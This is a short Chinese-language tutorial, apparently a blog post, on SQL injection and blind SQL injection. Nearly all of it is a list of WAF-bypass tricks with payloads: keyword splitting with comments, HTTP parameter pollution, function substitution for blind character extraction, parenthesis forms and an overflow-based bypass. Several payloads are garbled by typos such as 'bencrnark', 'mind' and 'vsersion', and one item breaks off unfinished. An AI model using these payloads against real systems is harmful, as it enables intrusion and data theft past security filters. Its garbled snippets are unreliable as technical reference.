SQL注入与SQL盲注漏洞
今天呢我们来大概讲解一下位居web漏洞的top1
SQL注入漏洞以及SQL盲注漏洞
1、绕过WAF的方法
1、大小写绕过
2、简单编码绕过
3、注入绕过
如:?id = 1 uni/**/on sele/**/ct 1,2,3
4、分隔从写绕过
适用于AWF采用正则表达式检测所有的敏感字的情况、可以通过注释分开敏感字,如:?id = 1 uni/**/on sele/**/ct 1,2,3 #;适用于WAF过滤了一次的情况,如uniunionon,有时候可能还有多次过滤的情况,这个时候也可以多次尝试,
5、HTTP残酷污染(HPP)
例如?id=1 union select 1,2,3 from users where id =1 #
这个时候可以改为?id=1 union select 1&id=2,3 from users where id=1 #
次数&id= 会在查询时候变成逗号,具体细节取决于WAF;
6、使用逻辑运算符 or/and 绕过
例如:id=1 or 0x50=0x50
7、比较操作符替换:比较操作符如:!=、、<>\、<、>都可以用来代替=来绕过
8、同功能函数替换
substring()可以用mid()\substr()这些函数来替换、都是用来取字符串的某一位字符的;
ascii编码可以用hex、bin、即十六进制和二进制编码替换;
在使用在基于延迟的盲注中bencrnark()和sleep()可以相互替换;
group_concat\concat\concat_ws三者可以相互替换;
还有一种新的方法,三条语句分别如下
substring((select 'password'),1,1)=0x70
substr((select 'password'),1,1) = 0x70
mid((select 'password'),1,1) = 0x70
都是从password里判断第一个字符的值,可以用
strcmp(left('password',1),0x69)=1
strcmp(left('password',1),0x70)=0
strcmp(left('password',1),0x71)=-1
替换,left用来取字符串左起1的值,strcmp用来比较两个值,如果比较结果相等于为0,左边小的话,就为-1,否则为1.
9、盲注无需or和and
例如index.?id=1
当and和or被过滤时,可以将1修改为是通过语句生成的,index.php?
10、加括号
如:id=( 1)union(select(1),mind(hash,1,32)from(users))
等
11、缓冲区溢出绕过:
例如id=1 and (select 1)=(Select 0xAAAAAAAAAAAAA)+UnloN+SeleCT+1,2,vsersion(),4,5,database(),user(),8,9,10#
其中A越多越好,一般要求1000+